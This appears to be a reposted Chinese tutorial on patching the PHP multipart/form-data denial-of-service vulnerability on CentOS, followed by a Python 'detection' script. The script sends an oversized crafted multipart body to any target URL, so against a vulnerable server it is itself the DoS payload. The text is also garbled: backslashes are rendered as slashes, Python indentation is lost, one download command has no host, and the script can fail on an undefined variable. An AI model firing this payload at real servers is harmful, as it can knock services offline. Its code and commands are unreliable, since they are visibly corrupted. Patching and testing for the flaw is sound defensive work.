php中Multipart/form-data漏洞进行补丁

发布时间：2023-09-25 14:49:14 所属栏目：PHP教程来源：

导读：今天在乌云上看到PHP multipart/form-data 远程DOS漏洞,马上给同事联系了下对线上服务器进行打补丁,先给一个centos编译安装nginx+php-fpm+mysql的教程,如果是根据我这样安装的话,那你们可以继续按照做下去了,如果不是

今天在乌云上看到PHP multipart/form-data 远程DOS漏洞,马上给同事联系了下对线上服务器进行打补丁,先给一个centos编译安装nginx+php-fpm+mysql的教程,如果是根据我这样安装的话,那你们可以继续按照做下去了,如果不是的话,那么你们就看看吧.

系统:centos 5.x(64位)

需要的软件:php-5.2-multipart-form-data.patch

1.查看自己php版本

php -v
PHP 5.2.17p1 (cli) (built: Oct 29 2015 15:31:06)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies
如果版本高于5.3的话,那就直接升级php就可以了.

2.下载补丁文件

wget http://soft.vpser.net/web/php/bug/php-5.2-multipart-form-data.patch
//或
wget/php_patch/php-5.2-multipart-form-data.patch
3.安装补丁

5.2:
cp php-5.2-multipart-form-data.patch ~/install/php-5.2.17/
cd php-5.2.17
patch -p1 < php-5.2-multipart-form-data.patch

5.3:
wget http://soft.vpser.net/web/php/bug/php-5.3-multipart-form-data.patch
patch -p1 < php-5.3-multipart-form-data.patch
将42行到45行删除:

if [ “$php_version” == “$old_php_version” ]; then
echo “Error: The upgrade PHP Version is the same as the old Version!!”
exit 1
fi
4.重新对php进行编译

./configure --prefix=/usr/local/php --enable-fastcgi --enable-fpm --with-fpm-log=/var/log/php-fpm.log /
--with-fpm-conf=/etc/php-fpm.conf --with-fpm-pid=/var/run/php-fpm.pid --with-config-file-path=/etc /
--with-config-file-scan-dir=/etc/php.d --with-openssl --with-zlib --enable-bcmath --with-bz2 --with-curl /
--enable-ftp --with-gd --enable-gd-native-ttf --with-jpeg-dir --with-png-dir --with-gettext --with-mhash /
--enable-mbstring --with-mcrypt --enable-soap --enable-zip --with-iconv=/usr/local/libiconv /
--with-mysql=/usr/local/mysql --with-mysqli=/usr/local/mysql/bin/mysql_config --without-pear
PS:你们最好自己查看下自己php的编译参数,php -i|grep configure

make && make install

好了,这样就把漏洞整好了,怎么检测呢?请看下面这个脚本:

cat dd.py

'''
Author: Shusheng Liu,The Department of Security Cloud, Baidu
email: liusscs@163.com
'''
import sys
import urllib,urllib2
import datetime
from optparse import OptionParser

def http_proxy(proxy_url):

proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
null_proxy_handler = urllib2.ProxyHandler({})
opener = urllib2.build_opener(proxy_handler)
urllib2.install_opener(opener)
#end http_proxy

def check_php_multipartform_dos(url,post_body,headers):
req = urllib2.Request(url)
for key in headers.keys():
req.add_header(key,headers[key])
starttime = datetime.datetime.now();
fd = urllib2.urlopen(req,post_body)
html = fd.read()
endtime = datetime.datetime.now()
usetime=(endtime - starttime).seconds
if(usetime > 5):
result = url+" is vulnerable";
else:
if(usetime > 3):
result = "need to check normal respond time"
return [result,usetime]
#end

def main():
#http_proxy("http://127.0.0.1:8089")
parser = OptionParser()
parser.add_option("-t", "--target", action="store",
dest="target",
default=False,
type="string",
help="test target")
(options, args) = parser.parse_args()
if(options.target):
target = options.target
else:
return;

Num=650000
headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
'Accept-Encoding':'gzip, deflate',
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}
body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1/nContent-Disposition: form-data; name=/"file/"; filename=sp.jpg"
payload=""
for i in range(0,Num):
payload = payload + "a/n"
body = body + payload;
body = body + "Content-Type: application/octet-stream/r/n/r/ndatadata/r/n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
print "starting...";
respond=check_php_multipartform_dos(target,body,headers)
print "Result : "
print respond[0]
print "Respond time : "+str(respond[1]) + " seconds";

if __name__=="__main__":
main()

本脚本用来检测的,如果拿去做坏事的话,跟本站无关.

（编辑：汽车网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!